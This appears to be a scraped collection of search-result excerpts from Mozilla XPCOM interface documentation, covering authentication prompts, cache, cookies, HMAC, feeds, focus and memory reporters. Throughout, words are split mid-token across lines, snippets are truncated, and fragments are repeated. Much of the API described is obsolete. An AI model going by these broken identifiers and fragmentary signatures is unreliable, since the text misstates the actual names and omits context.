ipe corresponds to the status code passed in when the output end of the p
ipe was closed, which greatly simplifies working with p
ipes in some cases. void closewithstatus( in nsresult r...
nsIAuthPrompt2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is usually acquired using getinterface on notification callbacks or similar. it can be used to prompt users for authentication information, either synchronously or asynchronously. this interface is implemented by @mozilla.org/login-manager/prompter;1. ...
...no security provided. level_pw_encrypted 1 password will be sent encrypted, but the connection is otherwise insecure. level_secure 2 the connection, both for password and data, is secure. methods asyncpromptauth() asynchronously prompt the user for a username and password. this has largel...
...or something else depending on the user interface) so that the user is not deluged with prompts. note: this method may throw any exception when the prompt fails to queue, for example because of out-of-memory error. it must not throw when the prompt could already be potentially shown to the user. in that case information about the failure has to come through the callback. this way we prevent mult
iple dialogs shown to the user because consumer may fall back to synchronous prompt on synchronous failure of this method. nsicancelable asyncpromptauth( in nsichannel achannel, in nsiauthpromptcallback acallback, in nsisupports acontext, in pruint32 level, in nsiauthinformation authinfo ); parameters achannel the channel that requires authentication. acallback acontext lev...
nsIBlocklistPrompt
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void prompt([array, size_is(acount)] in nsivariant aaddons, [optional] in pruint32 acount); methods prompt() prompt the user about newly blocked addons. the prompt is then responsible for soft-blocking any addons that need to be afterwards. ...
...n nsivariant aaddons, [optional] in pruint32 acount); methods prompt() prompt the user about newly blocked addons. the prompt is then responsible for soft-blocking any addons that need to be afterwards. void prompt( [array, size_is(acount)] in nsivariant aaddons, in pruint32 acount optional ); parameters aaddons an array of addons and plugins that are blocked. ...
...at are blocked. these are javascr
ipt objects with properties: name - the plugin or extension name version - the version of the extension or plugin icon - the plugin or extension icon disable - can be used by the nsiblocklistprompt to allows users to decide whether a soft-blocked add-on should be disabled blocked - true if the item is hard-blocked, false otherwise item - the ns
iplugintag or addon object acount optional the number of addons. ...
nsICacheService
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead. at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source. note: starting in gecko 2.0, cache i/o is handled asynchronously. ...
...read only. methods createsession() this method creates a cache session. a cache session represents a client's access into the cache. the cache session is not "owned" by the cache service. hence, it is possible to create duplicate cache sessions. entries created by a cache session are ...
...tems but will throw if it fails to evict everything. void evictentries( in nscachestoragepolicy storagepolicy ); parameters storagepolicy the cache storage policy. init() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) initialize the cache service. void init(); parameters none. exceptions thrown missing exception missing descr
iption shutdown() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) shutdown() the cache service. void shutdown(); parameters none. visitentries() this method visits entries stored in the cache. used to implement the about:cache uri. void visitentries( in nsicachevisitor visitor ); parameters visitor the entry to be visited. see al...
nsICommandLine
this may be the original command line of this instance or a command line provided remotely by another instance of the application. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsicommandlinehandler interface to add custom command line handling behavior. definitions arguments any values found on the command line. switches flags. in normalized form, these are preceded by a single dash. ...
...the application name is not part of the command line. read only. preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be prevented. state unsigned long the type...
...d by this command line. in most cases, this will be null (xremote will sometimes set this attribute). read only. workingdirectory nsifile the working directory for this command line. use this property instead of the working directory for the current process, since a redirected command line may have had a different working directory. read only. constants state constants constant value descr
iption state_initial_launch 0 the first launch of the application instance. state_remote_auto 1 a remote command line automatically redirected to this instance. state_remote_explicit 2 a remote command line explicitly redirected to this instance using xremote/windde/appleevents. methods findflag() finds a command-line flag, returning its position on the command line. long findflag( in ast...
nsICommandLineHandler
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each command line handler is registered in the category "command-line-handler". the entries in this category are read in alphabetical order, and each category value is treated as a service contract id implementing this interface. by convention, handlers with ordinary priority should begin with "m". ...
...read only. ...
...read only. methods handle() processes a command line. if this handler finds arguments that it understands, it should perform the appropriate actions (such as opening a window), and remove the arguments from the command-line array. ...
nsIConsoleMessage
[binaryname(messagemoz)] read only. ...
...[binaryname(messagemoz)] read only. ...
...[binaryname(messagemoz)] read only. ...
nsICookiePermission
the nsicookiepermission interface is used to test for cookie permissions netwerk/cookie/nsicookiepermission.idlscr
iptable please add a summary to this article. ...
...these may be relocated somewhere else if we ever consider freezing ...
...t expiry time of the cookie. cansetcookie may leave this value unchanged to preserve this attribute of the cookie. return value true if the cookie can be set. getoriginatinguri() determines the originating uri for a load given a channel, for third-party cookie blocking. this is done by leveraging the loadgroup of the channel to find the root content docshell, and the uri associated with its princ
ipal. if the root content docshell or its princ
ipal's uri cannot be obtained, this method will throw. nsiuri getoriginatinguri( in nsichannel achannel ); parameters achannel the channel for the load trying to get or set cookies. return value the originating uri. setaccess() sets cookie access permissions for the given uri. this may result in other uris being blocked as well, such as uris that s...
nsICryptoHMAC
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms. these values are to be used by the init() method to indicate which hashing function to use. ...
..., in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms. these values are to be used by the init() method to indicate which hashing function to use. these values map onto the values defined in mozilla/security/nss/lib/softoken/pkcs11t.h and are switched to ckm_*_hmac constant. constant value descr
iption md2 1 message digest algorithm 2 md5 2 message-digest algorithm 5 sha1 3 secure hash algorithm 1 sha256 4 secure hash algorithm 256 sha384 5 secure hash algorithm 384 sha512 6 secure hash algorithm 512 methods finish() completes this hmac object and produces the actual hmac diegest data. note: this...
...meters aascii if true then the returned value is a base-64 encoded string. if false, then the returned value is binary data. return value a hash of the data that was read by this object. this can be either binary data or base 64 encoded. exceptions thrown ns_error_not_initialized if init() has not been called. init() initialize the hashing object. this method may be called mult
iple times with different algorithm types. warning: this approach is not f
ips compliant. note: this method must be called before any other method on this interface is called. void init( in unsigned long aalgorithm, in nsikeyobject akeyobject ); parameters aalgorithm the algorithm type to be used. this value must be one of the above valid algorithm types. akeyobject object hol...
nsIDOMMouseScrollEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouseevent. ...
... vertical_axis 2 the vertical (y) axis. methods initmousescrollevent()...
... vertical_axis 2 the vertical (y) axis. ...
nsIDOMOfflineResourceList
the nsidomofflineresourcelist interface provides access to the application cache that allows web content's resources to be cached locally for use while offline. it includes methods for adding resources to and removing resources from the cache, as well as for enumerating the dynamically managed resource list. dom/interfaces/offline/nsidomofflineresourcelist.idlscr
iptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapcache(); void update(); attributes ...
...read only. mozlength unsigned long the number of entries in the dynamically managed offline resource list. read only. onchecking nsidomeventlistener an event listener to be called when fetching the application cache manifest and checking for u...
...t is not currently used since versioned application caches aren't supported yet. oncached nsidomeventlistener an event listener to be called when caching is complete. status unsigned short one of the application cache state constants indicating the status of the application cache. constants application cache state constants constant value descr
iption uncached 0 the object isn't associated with an application cache. idle 1 the application cache is not in the process of being updated. checking 2 the application cache manifest is being fetched and checked for updates. downloading 3 resources are being downloaded to be added to the cache. updateready 4 there is a new v...
nsIDOMProgressEvent
1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download. this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent. ...
...laceholder until the specification is complete, and is compatible with the webkit progressevent. method overview void initprogressevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type descr
iption lengthcomputable boolean specifies whether or not the total size of the transfer is known. read only. loaded unsigned long long the number of bytes transferred since the beginning of the operation. this doesn't include headers and other overhead, but only the content itself. read only. total unsigned long long the total number of bytes of content t...
... operation. this doesn't include headers and other overhead, but only the content itself. read only. total unsigned long long the total number of bytes of content that will be transferred during the operation. if the total size is unknown, this value is zero. read only. methods initprogressevent() deprecated since gecko 22.0 this method has been removed from use in javascr
ipt in gecko 22.0. use the regular constructor to construct a synthetic progressevent. it still is usable from native c++ code. initializes the progress event object. void initprogressevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg ); parameters typearg...
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscr
iptable this interface provides methods for managing data stored in the offline apps cache. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprinc
ipal(in ns
iprinc
ipal aprinc
ipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications. all data...
... void clearofflineapps(); nsidomstorage getlocalstorageforprinc
ipal(in ns
iprinc
ipal aprinc
ipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications. all data owned by a domain with the "offline-app" permission is removed from the database. void clearofflineapps(); parameters none. getlocalstorageforprinc
ipal() returns the instance of the localstorage object for auri's origin. this is used to ensure that only one local storage area exists for a given origin. nsidomstorage getlocalstorageforprinc
ipal( ns
iprinc
ipal aprinc
ipal, domstring adocumenturi ); parameters aprinc
ipal the princ
ipal for which to return the local storage object. adocumenturi the document's uri. return value the local stora...
...getusage() returns the amount of disk space used by a domain. usage is checked against the domain of the page that set the key (the owner domain), not the domain of the storage object. ...
nsIDeviceMotionData
read only. x double the amount of tilt along the x axis. read only. y double the amount of tilt along the y axis. read only. z double the amount of tilt along the z axis. read only. ...
...read only. x double the amount of tilt along the x axis. read only. y double the amount of tilt along the y axis. read only. z double the amount of tilt along the z axis. read only. ...
...ues. read only. x double the amount of tilt along the x axis. read only. y double the amount of tilt along the y axis. read only. z double the amount of tilt along the z axis. read only. the values of x, y, and z can range from -1 to 1, where 0 means the device is balanced on that axis. see accelerometer values explained for details. constants motion type constants constant value descr
iption type_acceleration 0 the motion data describes device acceleration. type_orientation 1 the motion data describes a device orientation chang. see also mozorientation nsidomorientationevent nsidevicemotionlistener nsidevicemotion ...
nsIDispatchSupport
js/src/xpconnect/idl/nsidispatchsupport.idlnot scr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.7 method overview void comvariant2jsval(in comvariantptr comvar, out jsval val); unsigned long gethostingflags(in string acontext); boolean isclassmarkedsafeforscr
ipting(in nscidref cid, out boolean classexists); boolean isclasssafetohost(in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists); boolean isobjectsafeforscr
ipting(in voidptr theobject, in nsiidref id); void jsval2comvariant(in jsval var, out comvariant comvar); methods comvariant2jsval() converts a com variant to a jsval. void comvariant2jsval( in comvariantptr comvar, out jsval val ); parameters comvar the com variant ...
.... void comvariant2jsval( in comvariantptr comvar, out jsval val ); parameters comvar the com variant to be converted. val the jsval to receive the converted value. gethostingflags() return the activex security and hosting flags. see nsiactivexsecuritypolicy for list of flags. unsigned long gethostingflags( in string acontext ); parameters acontext return value isclassmarkedsafeforscr
ipting() test if the specified class is marked safe for scr
ipting. boolean isclassmarkedsafeforscr
ipting( in nscidref cid, out boolean classexists ); parameters cid the nsid representation of the clsid to test. classexists returns containing pr_false if the class is not registered. return value isclasssafetohost() test if the class is safe to host. boolean isclasssafetohost( in jscontextpt...
...lassexists returns containing pr_false if the class is not registered. return value isclasssafetohost() test if the class is safe to host. boolean isclasssafetohost( in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists ); parameters cx cid capscheck classexists returns containing pr_false if the class is not registered. return value isobjectsafeforscr
ipting() test if the instantiated object is safe for scr
ipting on the specified interface. boolean isobjectsafeforscr
ipting( in voidptr theobject, in nsiidref id ); parameters theobject the object to test (an iunknown cast into a void *). id return value jsval2comvariant() converts a jsval to a com variant. void jsval2comvariant( in jsval var, out comvariant comvar ); parameters var t...
nsIEditorMailSupport
editor/idl/nsieditormailsupport.idlscr
iptable provides simple editing actions for the thunderbird mail editor. inherits from: nsisupports last changed in gecko 1.7 method overview nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void str
ipcites(); methods getembeddedobjects() get a list of img and object tags in the current document. nsisupportsarray getembeddedobjects(); parameters none. ...
...ngtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long aselectiontype ); parameters acitation the "mid" url of the source message. aselectiontype text or html? pasteasquotation() paste the text in the os cl
ipboard at the cursor position, as a quotation (whose representation is dependent on the editor type), replacing the selected text (if any). void pasteasquotation( in long aselectiontype ); parameters aselectiontype text or html? rewrap() rewrap the selected part of the document, re-quoting if necessary. void rewrap( in boolean arespectnewlines ); parameters arespectnewlines try to maintain...
...s a quotation (whose representation is dependent on the editor type), replacing the selected text (if any). void pasteasquotation( in long aselectiontype ); parameters aselectiontype text or html? rewrap() rewrap the selected part of the document, re-quoting if necessary. void rewrap( in boolean arespectnewlines ); parameters arespectnewlines try to maintain newlines in the original? str
ipcites() str
ip any citations in the selected part of the document. void str
ipcites(); parameters none. ...
nsIEditorSpellCheck
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/editor/editorspellchecker;1. ...
...id checkcurrentdictionary(); parameters none. checkcurrentword() checks a given word. in spite of the name, this function checks the word you give it, returning true if the word is misspelled. if the word is misspelled, it will compute the suggestions which you can get from getsuggestedword(). boolean checkcurrentword( in wstring suggestedword ); parameters suggestedword missing descr
iption return value true if the specified word is misspelled; otherwise false. checkcurrentwordnosuggest() like checkcurrentword(), checks the word you give it, returning true if it is misspelled. this is faster than checkcurrentword() because it does not compute any suggestions. note: this does not clear any suggestions left over from previous calls to checkcurrentword(), so there may be suggest...
... be selected per-site, this method is no longer needed. void savedefaultdictionary(); parameters none. setcurrentdictionary() selects the main dictionary to use. void setcurrentdictionary( in astring dictionary ); parameters dictionary the name of the dictionary to use. typically, this is an iso language code such as "en-us". setfilter() used to filter the content (for example, to sk
ip blockquotes in email from spell checking). call this before calling initspellchecker(); calling it after initialization will have no effect. void setfilter( in nsitextservicesfilter filter ); parameters filter an nsitextservicesfilter describing the filter to apply. this filter lets you avoid spell checking specific parts of the document. uninitspellchecker() call this to release the...
nsIEventListenerInfo
read only. ...
...sieventlistenerservice.getlistenerinfofor, which provides a list of all the listeners to a given event target. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsisupports getdebugobject(); astring tosource(); attributes attribute type descr
iption allowsuntrusted boolean indicates whether or not the event listener allows untrusted events. read only. capturing boolean indicates whether or not the event listener is in capture mode. read only. insystemeventgroup boolean indicates whether or not the event listener is in the system event group. read only. type astring the type of t...
...er object if the debug service is active. nsisupports getdebugobject(); parameters none. return value if jsdidebuggerservice is active and the listener is implemented in js, this returns the listener as a jsdivalue. otherwise null. this is the method you should use if you want to get access to the actual listener, but the debugger service must be already active, which significantly slows down scr
ipt execution. accordingly, this should probably only be used by real debuggers. this approach is necessary because event listeners added with addeventlistener won't necessarily be nsieventlisteners; the dom code will fix up ordinary javascr
ipt functions to act as listeners. tosource() tries to serialize the event listener to a string. astring tosource(); parameters none. return value returns a str...
nsIEventListenerService
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/eventlistenerservice;1. to create an instance, use: var eventlistenerservice = components.classes["@mozilla.org/eventlistenerservice;1"] .getservice(components.interfaces.nsieventlistenerservice); universalxpconnect privileges are required to use this service. ...
...read only. obsolete since gecko 7.0 methods geteventtargetchainfor() returns an array of event targets indicating all the targets that will receive the same events that are delivered to the specified target. aeventtarget will be at index 0. the objects are the ones that would be used as event.c...
...enttarget doesn't have any listeners, this returns null. void getlistenerinfofor( in nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsieventlistenerinfo aoutarray ); parameters aeventtarget the nsieventtarget for which to obtain a list of listeners. acount on return, the number of returned listener descr
iptors. aoutarray an array of nsieventlistenerinfo objects describing the listeners. haslistenersfor() returns true if a event target has any listener for the given type. boolean haslistenersfor( in nsidomeventtarget aeventtarget, in domstring atype ); parameters aeventtarget the nsidomeventtarget for which to check if this has any listener for atype. atype...
nsIExternalProtocolService
uriloader/exthandler/nsiexternalprotocolservice.idlscr
iptable the external protocol service is used for finding and launching web handlers (a la registerprotocolhandler in the html5 draft) or platform-specific applications for handling particular protocols. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol scheme. and you can ask it to load the url using the default handler. ...
...cific applications for handling particular protocols. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol scheme. and you can ask it to load the url using the default handler. ...
...he os. boolean externalprotocolhandlerexists( in string aprotocolscheme ); parameters aprotocolscheme the scheme from a url: http, ftp, mailto, and so on. note: aprotocolscheme should not include a trailing colon, which is part of the uri syntax, not part of the scheme itself. that is, pass "mailto" not "mailto:". return value true if we have a handler and false otherwise. getapplicationdescr
iption() gets a human-readable descr
iption for the application responsible for handling a specific protocol. astring getapplicationdescr
iption( in autf8string ascheme ); parameters ascheme the scheme to look up. for example, "mms". return value this code makes little sense and needs to be cleaned up. -nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = compone...
nsIFeedContainer
categories nsiarray an array of the categories found in a feed or entry. ...
... categories nsiarray an array of the categories found in a feed or entry. note: the returned array will contain nsifeedcategory objects, except that interface has not been implemented yet. ...
...xtconstruct the feed or entry's rights or license text. title nsifeedtextconstruct the feed or entry's title. keep in mind that some feeds have no title, and some use markup in their titles, so be cautious when decoding this attribute. updated astring a string containing the date the feed or entry was last updated, in rfc822 form. this string is parsable by javascr
ipt and mail code. methods normalize() synchronizes a container's fields with its convenience attributes. void normalize(); parameters none. see also nsiuri nsifeedtextconstruct interwiki link ...
nsIFeedEntry
this comes from the atom:content and/or content:encoded fields. enclosures nsiarray an array of all the enclosures included in the entry. these are used by podcasts, photocasts, and so forth. ...
...this comes from the atom:content and/or content:encoded fields. enclosures nsiarray an array of all the enclosures included in the entry. these are used by podcasts, photocasts, and so forth. ...
... mediacontent nsiarray an array of all the enclosures or other media that might be displayed inline in the entry. parent nsifeedcontainer a reference to the entry's parent, which is either a feed (nsifeed or another entry. published astring a string indicating the date on which the entry was published, in rfc822 format. this date is parsable by both javascr
ipt (via date.parse()) and mail code. note, that the related updated attribute is available from the nsifeedcontainer interface. summary nsifeedtextconstruct a summary of the feed entry's content. this is generated automatically using the entry's descr
iption, subtitle, summary, content, and appropriate extensions. see also nsifeedcontainer interwiki lin ...
nsIFeedResult
toolkit/components/feeds/nsifeedresult.idlscr
iptable this interface provides access to http and parsing metadata for a feed or entry. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registerextensionprefix(in astring anamespace, in astring aprefix); attributes attribute type descr
iption bozo boolean the feed processor sets the bozo bit when a feed triggers a fatal error during xml parsing. there may still be feed metadata and entries that were parsed before the error occurred. doc nsifeedcontainer the parsed feed or entry. ...
... stylesheet nsiuri an xslt stylesheet available to transform the source of the feed. some feeds include this information in a processing instruction. it's generally intended for use by clients designed to work with specific feeds. ...
...fix() registers a prefix for a namespace used to access an extension in the feed or entry. warning: this method is not implemented at this time. void registerextensionprefix( in astring anamespace, in astring aprefix ); parameters anamespace the namespace for the extension. aprefix the prefix used to access the extension. see also nsisupports nsifeedcontainer nsiuri ns
iproperties interwiki link ...
nsIFeedTextConstruct
some extension elements also include "type" parameters, and this interface could be used to represent those as well. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-textconstruct;1, but users usually don't need to create instances of this directly. various other feed-related interfaces, such as nsifeed, nsifeedentry, and nsifeedcontainer have attributes that return objects implementing nsifeedtextconstruct. ...
...ally don't need to create instances of this directly. various other feed-related interfaces, such as nsifeed, nsifeedentry, and nsifeedcontainer have attributes that return objects implementing nsifeedtextconstruct. method overview nsidomdocumentfragment createdocumentfragment(in nsidomelement element); astring plaintext(); attributes attribute type descr
iption base nsiuri if the text construct contains html or xhtml, relative references in the content should be resolved against this base uri. lang astring the language of the text (such as "en-us" for u.s. english). text astring the actual text content. this string may contain markup if the type is either "html" or "xhtml". type astring the...
...a given dom element, containing the text and (if the text construct contains html or xhtml) its markup. nsidomdocumentfragment createdocumentfragment( in nsidomelement element ); parameters element the element in which to create the new document fragment. return value an nsidocumentfragment containing the text and markup. plaintext() returns the text as plain text with all markup str
ipped and all entities decoded. astring plaintext(); parameters none. return value the plain text version of the text construct's contents. if the type attribute is "text", this method returns the value of the text attribute unchanged. remarks if the document type is either "html" or "xhtml", a "<" character represents markup. to display that character, an escape such as "<" must be used.
nsIFocusManager
dom/interfaces/base/nsifocusmanager.idlscr
iptable please add a summary to this article. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a service: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getservice(components.interfaces.nsifocusmanager); method overview void clearfocus(in nsidomwindow awindow); void contentremoved(in nsidocument adocument, in nsicontent aelement); native code only! obsolete since gecko 2.0 void firedelayedevents(in nsidocument adocument); native code only! void focusplugin(in nsicontent aplugin); native code only! ...
...setting the activewindow raises it, and focuses the current child window's current element, if any. setting this to null or to a non-top-level window throws an ns_error_invalid_arg exception. focusedelement nsidomelement the element that i...
...e focusedwindow changes the focused window and raises the toplevel window it is in. if the current focus within the new focusedwindow is a frame element, then the focusedwindow will actually be set to the child window and the current element within that set as the focused element. this process repeats downwards until a non-frame element is found. constants constant value descr
iption flag_raise 1 flag_noscroll 2 do not scroll the element to focus into view. flag_noswitchframe 4 if attempting to change focus in a window that is not focused, do not switch focus to that window. instead, just update the focus within that window and leave the application focus as is. this flag will have no effect if a child window is focused and a...
nsIHTTPHeaderListener
this instance is passed in through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
...this instance is passed in through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
...this instance is passed in through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
nsIInstallLocation
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: while this api still works, firefox 4 no longer extracts xpis by default, so this will now point to the xpi file instead of to the directory. any nsifile operations that assume a directory and plain files will fail in firefox 4, unless you specify <em:unpack>. ...
...this is different from restricted because it's not whether or not the location *might* be restricted, it's whether or not it actually *is* restricted right now. read only. itemlocations nsidirectoryenumerator an enumeration of nsifiles for: locations that contain items potenti...
...n is restricted with the current user privileges. read only. constants constants representing priority of some default install locations. you should not use the exact values here, you should offset from these values each time you create a new install location. offsetting can be brittle but you should know what install locations are being defined for your own application. constant value descr
iption priority_app_profile 0 priority_app_system_user 10 priority_xre_system_user 100 priority_app_system_global 1000 priority_xre_system_global 10000 methods getidforlocation() retrieves the guid for an item at the specified location. note: this function makes no promises about whether or not this path is actually maintained by this install location. astring getidforlocation...
nsIJumpListBuilder
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) jump lists are built and then applied. modifying an applied jump list is not permitted. callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. ...
...uts, links, and separators. see nsijumplistitem for information on adding additional jump list types. method overview void abortlistbuild(); boolean addlisttobuild(in short acattype, in nsiarray items optional, in astring catname optional); boolean commitlistbuild(); boolean deleteactivelist(); boolean initlistbuild(in nsimutablearray removeditems); attributes attribute type descr
iption available short indicates whether jump list taskbar features are supported by the current host. read only. islistcommitted boolean jumplist management. indicates if a commit has already occurred in this session. read only. exceptions thrown ns_error_not_available on all calls if taskbar functionality is not supported by the operating system. maxlistitems short the maximum number of ...
... host. read only. islistcommitted boolean jumplist management. indicates if a commit has already occurred in this session. read only. exceptions thrown ns_error_not_available on all calls if taskbar functionality is not supported by the operating system. maxlistitems short the maximum number of jump list items the current desktop can support. read only. constants constant value descr
iption jumplist_category_tasks 0 tasks are common actions performed by users within the application. a task can be represented by an application shortcut and associated command line parameters or a uri. task lists should generally be static lists that do not change often, if at all - similar to an application menu. tasks are given the highest priority of all lists when space is limited. jumplis...
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscr
iptable please add a summary to this article. inherits from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cfurlref getcfurl(); native code only! fsref getfsref(); native code only! fsspec getfsspec(); native code only! void inittoappwithcreatorcode(in ostype aappcreator); native code only! obsolete since gecko 2.0 void initwithcfurl(in cfurlref acfurl); native code only! void initwithfsref([const] in fsrefptr afsref); native code only! void initwithfsspec([const] in fsspecptr afilespec); native code only! obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapp...
... bundleidentifier autf8string returns the identifier of the bundle. read only. filecreator ostype native code only! filesizewithresfork print64 returns the combined size of both the data fork and the resource fork (if present) rather than just t...
...f8string returns the identifier of the bundle. read only. filecreator ostype native code only! filesizewithresfork print64 returns the combined size of both the data fork and the resource fork (if present) rather than just the size of the data fork as returned by getfilesize() read only. filetype ostype file type and creator attributes. native code only! constants constant value descr
iption current_process_creator 0x8000000 use with setfiletype() to specify the signature of current process. obsolete since gecko 2.0 methods native code only!getcfurl note: observes the state of the followlinks attribute. if the file object is an alias and followlinks is true, returns the target of the alias. if followlinks is false, returns the unresolved alias file. note: supported only for ...
nsIMemoryMultiReporter
the callback, which must implement the nsimemorymultireportercallback interface, receives values that match the fields in the nsimemoryreporter object. in order for a multi-reporter to gather and generate reports, you need to call collectreports(). ...
...the callback, which must implement the nsimemorymultireportercallback interface, receives values that match the fields in the nsimemoryreporter object. in order for a multi-reporter to gather and generate reports, you need to call collectreports(). ...
...d generate reports, you need to call collectreports(). this will call the specified callback's nsimemorymultireportercallback.callback() method once for each report. this will trigger any needed computation work. note: this differs from the behavior of nsimemoryreporter, which lets all fields except amount be accessed without triggering computation. attributes attribute type descr
iption explicitnonheap print64 the sum of all of this multi-reporter's measurements that have a path that starts with "explicit" and are of the kind kind_nonheap. note: this is a hack that makes nsimemoryreportermanager.explicit more efficient. this is important; multi-reporters can special-case this operation so it's much faster than gathering all the reports, fil...
nsIMemoryReporterManager
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by @mozilla.org/memory-reporter-manager;1 as a service: var reportermanager = components.classes["@mozilla.org/memory-reporter-manager;1"] .getservice(components.interfaces.nsimemoryreportermanager); each memory reporter object, which implements nsimemoryreporter interface, provides information for a given code area. each code area is identified by a unique path string, which is displayed in about:memory. ...
... note: it covers all heap allocations, but will miss any operating system level ones not covered by memory reporters. this rep...
...llocations, both at the operating system level (for example, via mmap, virtualalloc) and at the heap level (for example, via malloc(), calloc(), operator new). note: it covers all heap allocations, but will miss any operating system level ones not covered by memory reporters. this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascr
ipt. -1 means unknown. read only. resident print64 gets the resident size (that is rss, physical memory used). this reporter is special-cased because it is interesting, is available on all platforms, and returns a meaningful result on all common platforms. -1 means unknown. read only. methods enumeratemultireporters() returns an enumerator for ...
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscr
